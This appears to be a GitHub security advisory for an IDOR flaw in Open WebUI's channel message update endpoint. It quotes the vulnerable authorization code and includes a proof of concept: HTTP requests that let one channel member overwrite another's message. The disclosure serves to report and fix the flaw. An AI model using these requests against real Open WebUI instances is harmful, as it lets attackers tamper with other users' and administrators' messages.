GHSA-wwhq-cx22-f7vv Open WebUI has an IDOR vulnerability in the update_message_by_id API endpoint

• PyPI open-webui: < 0.9.5 → fixed in 0.9.5

Summary An IDOR vulnerability exists in the Channels feature of `Open WebUI`, allowing any channel member to modify messages sent by other members (including administrators) within the same channel. This vulnerability affects the latest version (`v0.8.12`) of `Open WebUI`. Details In the `update_message_by_id` function, for `group` or `dm` type channels, only the caller's membership in the channel is checked via the `is_user_channel_member` function, without verifying message ownership. This allows any channel member to modify messages sent by other members within the same channel. The problematic code is as follows (https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/channels.py#L1355) : ```python if channel.type in ['group', 'dm']: if not Channels.is_user_channel_member(channel.id, user.id, db=db): raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT()) else: if ( user.role != 'admin' and message.user_id != user.id and not channel_has_access(user.id, channel, permission='write', strict=False, db=db) ): raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT()) try: message = Messages.update_message_by_id(message_id, form_data, db=db) ``` Non-group/dm types include a check for the user ID, while the `group/dm` type clearly lacks this verification. PoC The `Channels` feature is disabled by default and can be enabled first through the `admin` interface. Create a `group` type channel with members including users `test1` and `test2`. ``` POST /api/v1/channels/create HTTP/1.1 Content-Type: application/json { "name": "idor-test-group", "type": "group", "user_ids": [ "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c", "b9997496-ff80-4c30-a366-95474f85e62b" ] } ``` User `test2` sends a message in the channel. ``` POST /api/v1/channels/9cff5240-6b22-4c85-bf74-b8dbfe471b16/messages/post HTTP/1.1 Content-Type: application/json Authorization: Bearer {"content":"This is test2 secret message"} ``` User `test1` can directly modify the message that `test2` just sent. ``` POST /api/v1/channels/9cff5240-6b22-4c85-bf74-b8dbfe471b16/messages/e0824c09-5712-4400-9b7a-b08eefcf15d3/update HTTP/1.1 Content-Type: application/json Authorization: Bearer {"content":"HACKED BY TEST1 - message tampered!"} ``` Messages sent by administrators can also be modified. Impact Malicious users can arbitrarily tamper with messages published by other users (including administrators), allowing them to disseminate false information. Suggested Fix Add a message ownership check in the `group/dm` branch of `channels.py`.